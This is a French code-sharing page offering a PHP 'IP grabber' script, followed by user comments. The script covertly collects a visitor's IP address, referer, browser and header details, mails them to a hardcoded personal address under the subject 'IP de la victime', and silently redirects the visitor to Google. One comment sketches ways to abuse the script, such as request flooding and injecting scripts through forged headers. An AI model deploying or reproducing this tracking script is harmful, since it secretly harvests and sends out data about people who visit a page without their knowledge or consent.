Envoie ip + quelques info par mail

Soyez le premier à donner votre avis sur cette source.

Vue 7 602 fois - Téléchargée 450 fois

Description

Ben c'est un petit script qui recupere l'ip et l'envoie avec la fonction mail() avec quelques infos comme type de compression utilisé, navigateur, dernier url, etc... et qui redirige le site vers google =)

Source / Exemple :


<?PHP
ob_start();
    define("IDX_GRANULARITY", 10000000);

    function getClientIP() {

        $ip = 0;

        if (!empty($_SERVER['HTTP_CLIENT_IP']))
            $ip = $_SERVER['HTTP_CLIENT_IP'];

        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
            if ($ip) {
                array_unshift($ipList, $ip);
                $ip = 0;
            }
            foreach ($ipList as $v)
            if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
                return $v;
        }
        
        return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
    }

    function searchIndex($ip, $idxFileName = "ip-to-country.idx") {

        $hFile = @fopen($idxFileName, "r");
        if (!$hFile) return False;
        $ip = (int)($ip / IDX_GRANULARITY);
        $iRecord = 0;
        $iIndex = 0;
        while ($aData = fgetcsv($hFile, 100)) {
            if ($ip >= $iIndex && $ip < $aData[0])
                return array($aData[1], $iRecord);
            $iIndex = $aData[0];
            $iRecord = $aData[1];
        }
        fclose($hFile);
        return array(-1, $iRecord);
    }

$NewIp = getClientIP() ;

// Ecrire l'ip dans le fichier ip.txt
$fp = fopen("ip.txt","w");	// On ouvre le fichier en écriture
fseek($fp,0);           // On se place en début de fichier
if (strlen($NewIp) > 6)
	{
		fputs($fp,$NewIp);	// 5.On écrit dans le fichier le nouveau IP
	}
	else
	{
     fputs($fp,"0.0.0.0");	// On écrit dans le fichier "0.0.0.0"
	}	
fclose($fp); 	         	// On ferme le fichier
//print $NewIp ;

//<!-- Envoie ip par mail ! -->

$msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "mohamedloucif89@aol.com";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);
header('location:http://www.google.fr');
ob_end_flush();
?>

Conclusion :


Il faut PHP5 pour l'utiliser ! =)

Codes Sources

A voir également

Ajouter un commentaire

Commentaires

Messages postés
146
Date d'inscription
vendredi 28 mai 2010
Statut
Membre
Dernière intervention
21 juillet 2013
3
J'envoi plein de requête en peu de temps.
J'injecte des données faussées dans l'en-tête.
J'utilise un PA / VPN / ou j'injecte un petit script.
Et voilà votre boite mail craque.

OU j'injecte des scripts dangereux dans l'en-tête...
et là cette votre ordi qui craque.

Évitez de piéger, car le piège peux se refermer sur vous-même.

Résultat ==> Script dangereux pour le "pirate" (pirate entre guillemets).
Messages postés
95
Date d'inscription
samedi 13 novembre 2004
Statut
Membre
Dernière intervention
26 septembre 2008

c'est fait merci pour cette remarque ;)
Messages postés
112
Date d'inscription
jeudi 11 mars 2004
Statut
Membre
Dernière intervention
11 octobre 2006

salut chico,

tu marque que c'est pour debutant, donc
au lieu de marquer : "ben voilà quoi :)"
dans explication finale, marque plutot qui faut php5!

bon voila , sinon c'est bien.
a+
Messages postés
95
Date d'inscription
samedi 13 novembre 2004
Statut
Membre
Dernière intervention
26 septembre 2008

a oui merc c'était "<!-- script pour l'ip -->" qui genais merci ;o) jlavais oublié lui =)
Messages postés
9433
Date d'inscription
mardi 9 octobre 2001
Statut
Membre
Dernière intervention
13 avril 2007
8
Je t'ai dit d'enlever le code html....

Et ensuite <?PHP est à remplacer par <?php

Bref enlève ça : <!-- script pour l'ip -->
Afficher les 11 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.